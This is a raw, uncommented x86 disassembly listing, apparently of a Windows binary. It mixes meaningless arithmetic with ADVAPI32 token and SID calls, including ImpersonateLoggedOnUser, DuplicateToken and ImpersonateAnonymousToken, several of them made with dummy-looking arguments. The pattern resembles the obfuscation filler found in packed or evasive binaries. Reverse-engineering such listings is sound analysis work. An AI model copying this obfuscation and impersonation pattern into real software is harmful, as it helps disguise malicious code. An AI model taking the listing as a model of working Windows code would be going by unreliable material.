movzx eax, dl
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov ecx, dword [0x4373d0]
mov ebx, dword [0x4373c0]
movzx edi, al
mov al, cl
sub ecx, dword [0x4373c8]
mov dl, 0x99
imul dl
imul ecx, ecx, 0x2c
add dword [0x4373c4], ecx
mov dl, byte [0x437458]
mov dh, al
mov esi, 0x2c
jmp 0x4049b0
mov al, byte [0x4373cc]
sub ebx, edi
imul bl
mov cl, dh
sub cl, al
sub cl, 0x4d
add dl, cl
dec esi
jne 0x4049b0
mov eax, dword [0x4373d0]
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
sub eax, ebx
mov dword [0x4373c0], ebx
mov byte [0x437458], dl
cmp dword [0x4373d0], eax
jne 0x404a14
mov eax, dword [0x4373d4]
mov ecx, dword [0x4373cc]
imul eax, ebx
imul eax, dword [0x4373c8]
movzx ebx, cl
sub ebx, eax
mov al, byte [0x4374e4]
add al, 0x23
add al, bl
mov dword [0x4373c0], ebx
mov byte [0x4378e7], al
movzx eax, bl
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
movsx edx, byte [0x4374de]
imul edx, dword [0x4373d4]
movsx ecx, byte [0x43743c]
sub edx, ecx
movsx ecx, byte [0x437924]
add edx, ecx
mov ecx, dword [0x4373c0]
mov ebx, eax
mov eax, dword [0x4373cc]
sub edx, eax
add ecx, edx
mov dword [esp + 0x14], ebx
mov dword [0x4373c0], ecx
cmp ebp, dword [0x4373c4]
jbe 0x404a73
movzx eax, al
dec eax
imul eax, ebx
lea eax, [eax + ecx*2]
add eax, 0x17
mov dword [0x4373c0], eax
mov eax, dword [0x4373d0]
push 0x4377e0
cmp eax, dword [0x4373c8]
jne 0x404abc
call edi
mov ecx, dword [0x4373c0]
mov ebx, dword [0x4373d0]
mov eax, ecx
cdq
idiv ebx
mov edx, dword [esp + 0x54]
mov dword [esp + 0x20], ecx
sub byte [0x43745c], al
test edx, edx
jne 0x404b6f
mov eax, dword [0x4373c4]
mov dword [esp + 0x50], eax
jmp 0x404b43
call edi
mov al, bl
mov ebx, dword [0x4373d0]
mov cl, 0x4d
imul cl
mov ecx, dword [0x4373c0]
sub al, bl
sub al, 0x32
mov byte [0x4378ce], al
mov eax, ecx
sub eax, dword [0x4373cc]
mov dword [esp + 0x20], ecx
add eax, 3
cmp ebx, eax
jge 0x404b1d
movsx eax, byte [0x4377ff]
movsx ecx, byte [0x437840]
mov esi, dword [esp + 0x20]
imul ecx, eax
mov eax, dword [0x4373c4]
imul ecx, ebx
mov edx, esi
sub edx, ecx
sub edx, dword [esp + 0x14]
mov dword [esp + 0x50], eax
mov dword [0x4373c8], edx
jmp 0x404b4d
mov edx, dword [0x4373c4]
mov al, byte [0x437906]
sub al, dl
mov dword [esp + 0x50], edx
add cl, cl
neg dl
sub dl, cl
add byte [0x4378c9], dl
mov byte [0x43789c], al
mov eax, dword [esp + 0x50]
mov edx, dword [0x4373c8]
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x28]
inc ecx
mov dword [esp + 0x48], edx
mov dword [esp + 0x28], ecx
cmp ecx, dword [esp + 0x34]
jl 0x404732
mov ebp, dword [0x4373d4]
jmp 0x404c15
mov al, byte [0x4377ef]
mov esi, dword [0x4373d4]
mov byte [esp + 0x1b], al
mov edi, edi
mov al, dl
imul dl
imul bl
sub al, byte [0x4373cc]
sub al, bl
add byte [esp + 0x1b], al
movsx eax, byte [0x437882]
add eax, 0xffffff94
add esi, eax
mov eax, 0x3f6
cdq
idiv ecx
movsx ecx, byte [0x437512]
mov edx, dword [esp + 0x54]
imul eax, ecx
mov ecx, dword [0x4373cc]
sub ecx, eax
add ebx, ecx
mov ecx, dword [esp + 0x20]
jmp 0x404b80
mov bl, byte [0x4378fc]
mov bh, byte [0x4378e6]
mov esi, dword [0x4373c0]
jmp 0x404be0
movsx ecx, bh
imul ecx, ecx, 0x6f
mov eax, 0xffffffbf
sub eax, ecx
add edx, eax
movsx eax, bl
imul eax, eax, 0x393
mov ecx, 0xffffffae
sub ecx, eax
movzx eax, si
sub ecx, eax
add esi, ecx
jmp 0x404be0
mov eax, dword [0x4373c4]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x50], eax
cmp ebx, 0x36
jle 0x404cb0
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov esi, dword [0x4373c0]
mov ecx, dword [0x4373c4]
mov ebx, dword [0x4373d0]
mov ebp, dword [0x4373d4]
mov dword [esp + 0x14], eax
mov eax, esi
sub eax, ebx
add ecx, 0x2b0
add eax, ecx
mov dword [esp + 0x20], esi
mov dword [esp + 0x50], eax
mov dword [0x4373c4], eax
test ebp, ebp
jns 0x404ca5
mov edi, dword [0x4373c8]
mov edx, dword [0x4373cc]
mov ebp, dword [esp + 0x14]
movsx eax, byte [0x43784a]
imul eax, edx
imul eax, esi
mov ecx, esi
imul ecx, ecx, 0x76
add ebx, eax
mov eax, edi
neg eax
sub eax, ecx
add edx, eax
movzx eax, bp
mov ecx, 0xa
sub ecx, eax
movsx eax, byte [0x437508]
sub ecx, eax
add ebx, ecx
jmp 0x404c72
mov eax, dword [0x4373c8]
mov dword [esp + 0x48], eax
jmp 0x404d18
test ebp, ebp
jns 0x404cff
mov ebx, dword [0x4373cc]
lea ebx, [ebx]
movsx eax, byte [0x4377ee]
mov ecx, 0x1f2
sub ecx, edx
imul ecx, ecx
sub ecx, eax
mov eax, 0x81020409
imul ebx
add edx, ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx edx, byte [0x4374f3]
add ecx, ebx
imul eax, ecx
sub edx, eax
movsx eax, byte [0x4377ff]
sub edx, eax
jmp 0x404cc0
movzx ecx, dx
imul ecx, eax
mov eax, edx
sub eax, ecx
add esi, 0xffffff81
add esi, eax
mov dword [esp + 0x20], esi
mov dword [0x4373c0], esi
cmp ebp, 6
jle 0x404d7b
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov ebp, dword [0x4373d4]
mov ebx, eax
mov eax, ebp
sub eax, dword [0x4373cc]
mov esi, dword [0x4373c0]
mov dword [esp + 0x48], eax
mov dword [0x4373c8], eax
movzx eax, bp
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373c4]
mov dword [esp + 0x50], edx
mov dword [esp + 0x20], esi
mov ecx, eax
mov al, bl
mov ebx, dword [0x4373d0]
imul dl
sub cl, al
sub cl, byte [0x437496]
add byte [0x437849], cl
jmp 0x404dea
mov eax, ebx
cdq
idiv ebx
mov dl, 0x37
xor edi, edi
mov ecx, eax
mov eax, dword [esp + 0x50]
imul dl
sub cl, al
mov al, byte [esp + 0x48]
add cl, 0x41
add byte [0x437805], cl
mov cl, 0x2f
imul cl
mov ecx, dword [0x4373cc]
mov byte [esp + 0x13], al
movsx eax, byte [0x437482]
xor ebp, ebp
mov esi, eax
mov eax, edi
cdq
idiv ebx
mov edx, dword [esp + 0x50]
dec edx
inc edi
sub eax, ebp
add edx, eax
mov al, byte [esp + 0x13]
add al, cl
sub byte [0x43744c], al
add ebp, esi
mov dword [esp + 0x50], edx
mov dword [0x4373c4], edx
cmp edi, 0x38
jl 0x404db4
mov esi, dword [esp + 0x20]
mov ebp, dword [0x4373d4]
mov eax, dword [0x4373cc]
test eax, eax
jne 0x404ecc
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov ecx, dword [0x4373d0]
mov esi, dword [0x4373c4]
mov ebx, dword [0x4373c0]
mov dword [esp + 0x14], eax
mov eax, dword [0x4373c8]
add ecx, ecx
mov edx, eax
sub edx, ecx
movzx ecx, ax
sub edx, ecx
sub edx, esi
add ebx, edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x34], eax
mov dword [0x4373c0], ebx
cmp ebx, edx
jl 0x404e80
movsx eax, byte [0x43792e]
movsx ecx, byte [0x4374b8]
imul eax, ebx
sub ecx, eax
mov eax, dword [esp + 0x34]
add ecx, edx
add ecx, dword [0x4373d4]
mov ebx, 0xffffff5c
add eax, ecx
mov dword [0x4373c8], eax
imul eax, eax, 0x398
inc eax
imul eax, esi
sub ebx, eax
mov dword [0x4373c0], ebx
jmp 0x404fb2
mov al, byte [0x437870]
imul byte [0x4373cc]
mov cl, al
mov al, dl
mov edx, dword [0x4373d4]
imul bl
add cl, 0x69
add cl, al
mov eax, dword [esp + 0x34]
mov byte [0x437409], cl
mov ecx, eax
shl ecx, 4
add ecx, edx
add ecx, eax
mov al, 1
sub al, cl
imul bl
sub al, byte [esp + 0x34]
mov dword [0x4373c4], ecx
add al, dl
add byte [0x437925], al
jmp 0x404fb2
mov edx, dword [esp + 0x48]
mov ecx, eax
movsx eax, byte [0x437433]
imul ecx, edx
add ecx, 0x13
cmp eax, ecx
jne 0x404f2f
mov eax, dword [esp + 0x50]
movzx eax, al
add eax, edx
mov dword [esp + 0x50], eax
movzx eax, bp
cdq
movzx ecx, bl
idiv ecx
mov ecx, dword [0x4373cc]
add eax, esi
lea esi, [eax + ecx*2]
mov eax, ecx
imul eax, eax, 0x5c
cdq
idiv ebx
mov edx, dword [esp + 0x48]
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x20], esi
mov dword [0x4373c0], esi
add eax, esi
lea edx, [eax + edx*2]
mov dword [esp + 0x48], edx
mov dword [0x4373c8], edx
jmp 0x404f46
movsx ecx, byte [0x437459]
imul ecx, ebp
mov eax, 0xfffffe1a
sub eax, ecx
mov ecx, dword [esp + 0x50]
add ecx, eax
movsx eax, byte [0x43752b]
cmp eax, 0x594
jl 0x404f93
mov eax, esi
sub eax, edx
add ecx, eax
mov dword [esp + 0x50], ecx
mov dword [0x4373c4], ecx
movzx ecx, bl
mov ebx, dword [esp + 0x20]
mov eax, ebx
cdq
idiv ecx
sub al, byte [0x437454]
sub al, 0x7a
add al, byte [0x437859]
add byte [0x437903], al
mov eax, dword [esp + 0x50]
sub al, byte [esp + 0x48]
mov byte [0x437837], al
jmp 0x404fb2
movsx eax, byte [0x437519]
mov ebx, dword [esp + 0x20]
add eax, 0x193
add eax, ebp
add eax, dword [0x4373cc]
add eax, ebx
mov dword [0x4373c4], eax
push 0x4377e0
cmp ebx, dword [0x4373cc]
jg 0x405094
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov edx, dword [0x4373c8]
imul edx, dword [0x4373c4]
mov cl, 0x51
sub cl, byte [0x4373d4]
push 0x4377e0
add byte [0x437851], cl
movzx ecx, word [0x4373c0]
add edx, ecx
mov edi, eax
mov dword [0x4373c4], edx
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov esi, dword [0x4373c0]
mov ebx, eax
movsx eax, byte [0x43741e]
movzx ecx, bx
mov edx, 0x41a
sub edx, ecx
movsx ecx, byte [0x437535]
sub edx, ebx
sub edx, dword [0x4373cc]
add ecx, edi
add esi, edx
mov dword [0x4373c0], esi
cmp eax, ecx
jne 0x405079
movsx eax, byte [0x4377fb]
movsx ecx, byte [0x4378c8]
sub edi, eax
mov eax, dword [0x4373c4]
add eax, 0x7f
add eax, edi
imul eax, ebx
shr eax, 7
sub eax, esi
mov dword [0x4373c4], eax
mov eax, 0x964fda6d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
dec al
mov byte [0x4374fd], al
jmp 0x4050e3
mov al, byte [0x437809]
add al, 0x68
add al, byte [0x4373d4]
add al, byte [0x4373d0]
add byte [0x437845], al
jmp 0x4050e3
push 0x120
push 0x4377e0
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
mov edx, dword [0x4373c0]
xor ecx, ecx
imul edx, ecx
inc ecx
sub edx, 0x3835
cmp ecx, 0x23
jl 0x4050b1
mov eax, dword [0x4373c8]
movzx ecx, al
movzx eax, ax
imul ecx, eax
mov eax, dword [0x4373c4]
sub eax, ecx
add eax, 0x7b
mov dword [0x4373c0], edx
mov dword [0x4373c8], eax
mov ebp, dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
push 0x4377e0
call ebp
movzx ebx, ax
mov dword [esp + 0x28], eax
mov eax, dword [0x4373c8]
sub ebx, eax
cdq
idiv dword [0x4373d0]
mov edi, dword [0x4373cc]
mov dword [0x4373c0], ebx
mov ecx, eax
mov eax, 0x523a759
imul ebx
movsx eax, byte [0x437474]
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x4373c8]
sub esi, ecx
mov ecx, dword [0x4373d4]
sub esi, eax
mov al, byte [0x43751a]
sub al, byte [0x4378ed]
add esi, edi
sub al, dl
add al, byte [0x437935]
mov dword [0x4373c4], esi
add al, bl
jmp 0x405160
mov byte [0x4377f3], al
test ecx, ecx
js 0x405160
cmp edx, ecx
jge 0x40518b
imul ebx, ebx
mov eax, 0xffffffe0
sub eax, ebx
mov ebx, dword [esp + 0x28]
sub eax, ebx
mov byte [0x43788c], 0x43
mov dword [0x4373c0], eax
jmp 0x405199
mov esi, edi
sub esi, ebx
mov ebx, dword [esp + 0x28]
mov dword [0x4373c4], esi
push 0x4377e0
cmp esi, 0x4377e0
jae 0x405237
call ebp
mov al, byte [0x4373d4]
mov ecx, dword [0x4373d0]
add al, 0x39
add al, cl
add byte [0x43780a], al
mov al, bl
shl al, 5
add al, bl
sub al, byte [0x437455]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetAclInformation]
sub al, byte [0x4373c4]
push ecx
push 0x190
push 0x4377e0
add al, cl
add byte [0x437442], al
push 0x4373e0
call ebx
mov ecx, dword [0x4373c0]
mov al, byte [0x4373cc]
mov esi, dword [0x4373d0]
imul cl
add al, byte [0x4373c8]
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
add byte [0x43744d], al
mov eax, 0xffffff88
cdq
idiv esi
imul eax, eax, 0x1b6c
add ecx, eax
mov dword [0x4373c0], ecx
mov ecx, dword [0x4373c4]
jmp 0x405288
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
call edi
mov edx, dword [0x4373c8]
movsx eax, byte [0x4373ea]
lea ecx, [edx + 0x55]
cmp eax, ecx
mov ecx, dword [0x4373c4]
jl 0x40526b
mov eax, ebx
imul eax, ecx
mov edx, 0x1a
sub edx, eax
sub edx, dword [0x4373d4]
mov esi, dword [0x4373d0]
movzx eax, si
add eax, 0xd6
add eax, ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_GetAclInformation]
add eax, edx
mov dword [0x4373c8], eax
cmp dword [esp + 0x3c], 3
jle 0x4057fc
mov ebp, dword [esp + 0x2c]
push 0
push 0
push 0x18b
push ebp
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [0x4373c0]
mov dword [esp + 0x50], eax
push 0x160
push 0x4377e0
push 0x4373e0
call ebx
mov edx, dword [0x4373d4]
mov dword [esp + 0x34], eax
mov al, 1
sub al, byte [0x4373c8]
mov bl, 0x5e
imul dl
mov cl, al
mov al, byte [0x437872]
imul bl
add cl, al
add dl, 0x13
add byte [0x437830], dl
push 0x4373e0
mov byte [0x437814], cl
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov esi, dword [0x4373c8]
mov cl, 0x79
sub cl, byte [0x437466]
lea edx, [esi + 0x2e]
mov byte [0x4374da], cl
movsx ecx, byte [0x43785a]
mov ebx, eax
mov dword [esp + 0x3c], ebx
cmp ecx, edx
jge 0x405339
mov esi, dword [0x4373d0]
add esi, dword [0x4373cc]
mov dword [0x4373c8], esi
jmp 0x405371
mov ecx, dword [0x4373d0]
mov al, byte [0x4373c4]
add al, cl
add byte [0x437489], al
mov eax, dword [0x4373c0]
cdq
idiv ecx
movsx ecx, byte [0x437415]
imul eax, ecx
movsx ecx, byte [0x4374a2]
add eax, ecx
sub eax, ebx
sub eax, 0xf
mov dword [0x4373c0], eax
push 0x4377e0
cmp esi, ebx
jne 0x4054da
push 0x80
push 0x4377e0
push ebx
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov edi, dword [esp + 0x34]
movsx ecx, byte [0x4374c5]
mov ebp, dword [0x4373c4]
movsx esi, byte [0x437888]
mov ebx, dword [0x4373c0]
mov dword [esp + 0x1c], eax
movsx eax, byte [0x4373f1]
sub eax, edi
add eax, 0x219
mov dword [esp + 0x14], eax
mov al, byte [0x4374d4]
sub al, 0x60
mov byte [esp + 0x13], al
movzx eax, bp
mov ebp, dword [esp + 0x14]
sub esi, ecx
mov ecx, dword [0x4373c8]
add esi, eax
sub esi, edi
jmp 0x4053f0
mov al, byte [0x4377f2]
sub al, bl
add al, byte [0x4373d4]
movzx ecx, cl
mov byte [0x4378a5], al
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
add al, 0x59
add al, byte [0x43752a]
mov ecx, ebp
mov byte [0x43786d], al
mov al, byte [esp + 0x13]
mov byte [0x43788d], al
lea ebx, [esi + ecx]
test edi, edi
jne 0x4053f0
movsx eax, byte [0x437450]
add eax, dword [esp + 0x1c]
mov ebp, dword [0x4373c4]
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov dword [0x4373c8], ecx
cmp dword [esp + 0x1c], eax
jne 0x405495
movsx eax, byte [0x4378ce]
lea ecx, [eax + eax*2]
mov eax, 0x3dd
cdq
idiv dword [0x4373d0]
shl ecx, 5
sub ecx, eax
add ebx, ecx
mov dword [0x4373c0], ebx
mov ebx, dword [esp + 0x3c]
mov al, bl
add al, al
mov ecx, ebp
mov ebp, dword [esp + 0x2c]
mov byte [0x4377f4], al
jmp 0x40551a
mov eax, ebp
cdq
idiv dword [0x4373d0]
mov ebx, dword [0x4373d4]
mov ecx, ebx
imul ecx, ebx
mov ebp, dword [esp + 0x2c]
mov dword [0x4373c0], ecx
imul bl
mov ebx, dword [esp + 0x3c]
sub al, cl
sub al, 0x21
add byte [0x4373fc], al
mov al, byte [0x43792a]
mov cl, 0x53
imul cl
add byte [0x437815], al
mov ecx, dword [0x4373c4]
jmp 0x40551a
call edi
mov ecx, dword [0x4373c4]
mov al, 0x24
sub al, cl
add byte [0x4373e3], al
movsx eax, byte [0x437908]
cmp ecx, eax
jle 0x40551a
mov al, byte [0x4373c0]
sub al, byte [0x437873]
mov byte [0x4378e8], al
mov al, cl
imul byte [0x4373c8]
sub al, byte [0x4378d8]
mov byte [0x43743b], al
mov eax, dword [esp + 0x34]
cmp eax, ecx
jne 0x4055ce
push 0x4373c0
push eax
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov dl, byte [0x4373c4]
mov ah, byte [0x43740d]
mov esi, dword [0x4373d4]
mov cl, byte [0x437534]
neg dl
mov al, 0xb5
sub al, ah
sub al, bl
sub al, byte [0x4373d0]
mov byte [0x437884], dl
sub al, byte [0x4373c0]
add cl, al
test esi, esi
js 0x405551
mov al, byte [0x4374d2]
imul byte [0x4373c4]
push 0x4373e0
mov byte [0x437534], cl
mov byte [0x437863], al
call edi
mov dl, byte [0x4373c4]
add dl, 9
xor ecx, ecx
add dl, byte [0x4373d4]
lea ecx, [ecx]
mov al, dl
add al, cl
inc ecx
mov byte [0x43788e], al
cmp ecx, 0x2b
jl 0x4055a0
mov edx, dword [esp + 0x34]
mov ecx, dword [0x4373c0]
movzx eax, bx
imul eax, edx
sub ecx, eax
movzx eax, dl
sub ecx, eax
sub ecx, ebx
add dword [0x4373c4], ecx
push 0
push 0
push 0x182
push ebp
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov dword [esp + 0x34], eax
imul eax, dword [0x4373c8]
sub eax, dword [0x4373d0]
push 0x4373e0
sub eax, dword [0x4373c4]
sub eax, dword [0x4373c4]
add eax, dword [0x4373c8]
add dword [0x4373c0], eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov cl, byte [0x4373d4]
mov bl, byte [0x437904]
sub bl, byte [0x437856]
add cl, cl
mov dl, 0xc9
sub dl, cl
sub dl, al
sub dl, byte [0x4373cc]
push 0x4373e0
add bl, dl
mov dword [esp + 0x18], eax
mov dword [0x4373c0], 0x370
mov byte [0x437457], bl
call edi
movsx ecx, byte [0x4378ee]
mov ebp, dword [esp + 0x14]
mov ebx, eax
mov esi, 0x62
sub esi, dword [0x4373d0]
mov edx, ebx
sub edx, ecx
mov dword [0x4373c4], esi
cmp ebp, edx
ja 0x4056c6
mov ecx, dword [esp + 0x34]
mov eax, dword [0x4373c8]
imul ecx, esi
movzx edx, word [0x4373d4]
sub eax, ecx
movsx ecx, byte [0x437874]
add ecx, dword [esp + 0x34]
mov dword [0x4373c8], eax
imul eax, eax
add edx, ecx
mov dword [0x4373c0], edx
cdq
idiv dword [0x4373d0]
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
sub al, 0x47
mov byte [0x43781e], al
jmp 0x4056ff
mov ecx, dword [0x4373cc]
mov al, byte [0x4373c0]
sub byte [0x4373fa], al
movsx eax, byte [0x437511]
inc ecx
imul ecx, dword [0x4373c8]
add ecx, eax
mov al, byte [esp + 0x34]
sub ecx, ebx
sub ecx, 0x7d
sub al, 0x4d
add byte [0x4378cb], al
mov dword [0x4373c8], ecx
cmp ebp, esi
je 0x4057af
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov esi, dword [0x4373d0]
lea eax, [esi + esi]
cmp esi, eax
jl 0x40575d
mov eax, dword [0x4373c8]
add byte [0x4378c2], al
mov edx, dword [0x4373c4]
mov ecx, dword [0x4373c0]
mov eax, edx
sub eax, dword [0x4373cc]
add ecx, eax
movsx eax, byte [0x437433]
imul eax, eax, 0x18c
mov dword [0x4373c0], ecx
sub ecx, eax
add edx, ecx
mov dword [0x4373c4], edx
mov eax, dword [esp + 0x34]
movzx ecx, ax
mov eax, dword [0x4373cc]
movzx eax, al
add ecx, eax
mov eax, dword [0x4373c8]
sub ecx, esi
add eax, 0x1bc
add eax, ecx
push 0x4377e0
mov dword [0x4373c8], eax
call edi
movzx ecx, byte [0x4373c8]
movsx eax, byte [0x437806]
imul ecx, ecx, 0x2c
sub ecx, eax
movsx eax, byte [0x437418]
add eax, ebp
mov dword [0x4373c8], ecx
mov dword [0x4373c4], eax
mov ebp, dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
push 0x4373e0
call ebp
mov edx, dword [0x4373c0]
movzx ecx, dl
imul ecx, ecx, 0x2d
add ecx, eax
mov al, byte [0x4373cc]
imul byte [0x4373c8]
sub bl, al
cmp dword [esp + 0x4c], 3
mov byte [0x43788a], bl
mov ebx, dword [sym.imp.ADVAPI32.dll_GetAclInformation]
mov dword [0x4373c4], ecx
jg 0x405293
mov esi, dword [0x4373d0]
jmp 0x405802
mov edx, dword [0x4373c0]
cmp ecx, edx
je 0x4058bc
push 0x4373c4
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov edi, dword [0x4373d0]
mov esi, eax
mov eax, dword [0x4373d4]
cdq
idiv edi
mov cl, byte [0x4373c8]
xor edx, edx
push 0x4373c8
push 0xb0
push 0x4373e0
imul byte [0x4373cc]
sub cl, al
mov eax, esi
div edi
sub cl, 0x24
add byte [0x4378a0], cl
mov esi, eax
mov eax, 0x66666667
imul edi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, esi
push ecx
push dword [0x4373c4]
mov dword [0x4373c0], ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, dword [0x4373d0]
mov ecx, eax
mov al, byte [0x4377e1]
imul cl
mov dword [esp + 0x14], ecx
mov edi, dword [esp + 0x14]
mov byte [0x4374f2], al
xor ecx, ecx
lea esp, [esp]
mov eax, ecx
cdq
idiv ebx
cdq
idiv ebx
mov esi, eax
sub esi, edi
add esi, ecx
inc ecx
mov dword [0x4373c0], esi
cmp ecx, 0xe
jl 0x4058a0
jmp 0x405919
push dword [0x4373d4]
push 0x60
push 0x4377e0
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
movzx eax, word [0x4373c4]
movsx ecx, byte [0x437414]
mov ebx, dword [0x4373d0]
imul ecx, eax
mov esi, dword [0x4373c0]
mov eax, dword [0x4373cc]
add ecx, ebx
add ecx, esi
mov dword [0x4373c4], ecx
movzx ecx, al
mov eax, 0x94f2095
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov byte [0x4374ca], al
mov edx, dword [0x4373d4]
cmp edx, 0x2b
jle 0x4059fc
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
movsx ecx, byte [0x43745a]
imul ecx, dword [0x4373d0]
push 0x4373e0
mov edi, eax
mov dword [0x4373c4], ecx
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov ebx, dword [0x4373d0]
mov esi, eax
test ebx, ebx
jns 0x405974
mov edx, dword [0x4373d4]
mov ecx, edi
sub ecx, esi
add edx, 0xfffffec5
add edx, ecx
jmp 0x405966
mov ecx, 0x17c0
sub ecx, dword [0x4373c0]
cmp dword [0x4373c0], ecx
jg 0x4059c1
mov eax, 0x12
cdq
idiv ebx
mov ecx, dword [0x4373c4]
add ecx, 0x3d
lea ecx, [eax + ecx*2]
movsx eax, byte [0x43789a]
sub ecx, eax
movsx eax, byte [0x43792c]
mov dword [0x4373c4], ecx
movzx ecx, cl
imul ecx, esi
add ecx, eax
mov dword [0x4373c8], ecx
jmp 0x405a2f
mov esi, dword [0x4373d4]
imul esi, dword [0x4373c8]
mov eax, 0xea0ea0eb
imul dword [0x4373c4]
add edx, dword [0x4373c4]
movsx eax, byte [0x4378d5]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
sub ecx, eax
mov dword [0x4373c4], ecx
jmp 0x405a2f
cmp dword [0x4373cc], 0
je 0x405a20
mov edi, dword [0x4373c8]
jmp 0x405a10
mov ecx, edx
sub ecx, edi
movzx eax, bl
add ecx, 0x3f
sub ecx, eax
add esi, ecx
jmp 0x405a10
sub dl, byte [0x4373c8]
add dl, 5
add byte [0x4378d8], dl
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov esi, dword [0x4373cc]
mov ebx, eax
mov dword [esp + 0x28], ebx
test esi, esi
je 0x405ab0
movsx ecx, byte [0x4374ae]
mov eax, dword [0x4373c8]
movsx edi, byte [0x437934]
sub eax, ecx
mov ecx, dword [0x4373d0]
movzx ebp, cx
sub edi, ebp
sub eax, ecx
add edi, 0xfffffeb8
mov dword [esp + 0x3c], eax
add edi, ebx
mov eax, esi
cdq
idiv dword [esp + 0x3c]
mov dword [0x4373d4], edi
mov ecx, eax
mov al, byte [esp + 0x3c]
imul byte [0x4373d0]
add cl, al
mov eax, 0x41
sub eax, ebp
add cl, bl
sub byte [0x437455], cl
sub eax, edi
add esi, eax
jne 0x405a78
mov dword [0x4373cc], esi
jmp 0x405ab6
mov edi, dword [0x4373d4]
mov ecx, dword [0x4373c0]
mov eax, ecx
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373d0]
movzx ecx, cl
sub ecx, eax
movsx eax, byte [0x43791b]
sub ecx, eax
mov eax, dword [0x4373c0]
sub ecx, edi
add ecx, edx
add eax, 0xfffffdee
add eax, ecx
mov ecx, dword [0x4373c8]
imul eax, eax, 0x29
add ecx, eax
mov dword [0x4373c8], ecx
cmp edi, 4
jle 0x405c3d
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov ebx, dword [0x4373c0]
mov dword [esp + 0x34], eax
mov cl, 0x73
imul cl
sub al, byte [0x4373d4]
mov ecx, dword [0x4373cc]
add al, bl
mov byte [esp + 0x13], al
movsx eax, byte [0x4378f5]
imul eax, dword [0x4373c4]
cdq
idiv dword [0x4373d0]
mov dh, byte [0x4378e8]
mov dl, byte [0x43784b]
mov dword [esp + 0x14], eax
mov al, cl
imul cl
mov cl, byte [esp + 0x34]
imul bl
mov bl, byte [esp + 0x13]
sub cl, al
mov al, cl
shl cl, 3
add al, cl
shl al, 2
add byte [0x4374f9], al
xor ecx, ecx
mov al, cl
imul dh
mov byte [0x437806], al
mov al, byte [esp + 0x14]
add al, byte [0x4373d4]
inc ecx
add al, byte [0x4373c8]
add dl, bl
mov byte [0x43782f], al
cmp ecx, 0x24
jl 0x405b75
mov al, byte [0x437801]
push 0x4377e0
push 0xd0
sub al, 0x5d
add al, byte [0x4373c8]
push 0x4377e0
push 0x4373e0
mov byte [0x43784b], dl
mov byte [0x4374a6], al
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
mov ebx, dword [0x4373d0]
movzx eax, bx
cdq
idiv ebx
mov ch, byte [esp + 0x34]
sub ch, byte [0x4373c8]
mov cl, byte [0x4374dc]
mov edx, 0x15
mov dword [esp + 0x14], eax
mov al, byte [0x43750b]
imul byte [0x4378b3]
mov byte [esp + 0x13], al
mov al, byte [esp + 0x14]
add cl, byte [esp + 0x13]
imul bl
sub al, 0xa
add al, byte [0x4373d4]
mov byte [0x437858], ch
mov byte [0x4374ec], al
dec edx
jne 0x405c01
mov al, byte [0x437855]
mov ebx, dword [esp + 0x28]
add al, 0x5e
add al, byte [esp + 0x34]
mov byte [0x4374dc], cl
mov byte [0x4378eb], al
jmp 0x405c5d
movzx eax, cl
sub eax, ebx
sub eax, edx
add dword [0x4373c0], eax
movzx eax, word [0x4373c4]
movzx ecx, bl
imul ecx, eax
mov dword [0x4373c4], ecx
push 0x4373e0
